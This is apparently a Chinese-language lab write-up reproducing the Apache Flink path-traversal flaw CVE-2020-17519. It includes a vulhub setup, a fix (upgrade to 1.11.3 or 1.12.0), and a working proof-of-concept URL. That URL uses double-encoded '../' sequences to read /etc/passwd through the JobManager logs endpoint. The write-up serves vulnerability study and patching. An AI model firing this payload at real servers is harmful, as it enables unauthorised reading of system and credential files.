Apache Flink漏洞（CVE-2020-17519）复现

简介

 

Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。

 

漏洞概述

 

Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

 

影响版本

1.11.0、1.11.1、1.11.2

 

环境搭建

使用vulhub进行安装

Vulhub地址：

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519

 

启动Apache Flink jobmanager 1.11.2:

进入目录

cd vulhub-master/flink/CVE-2020-17519

安装环境

docker-compose up -d

然后访问http://your-ip:8081

 

漏洞复现

 

Poc

http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

读取成功

 

修复建议

 

升级到安全版本

安全版本：
Flink 1.11.3或Flink 1.12.0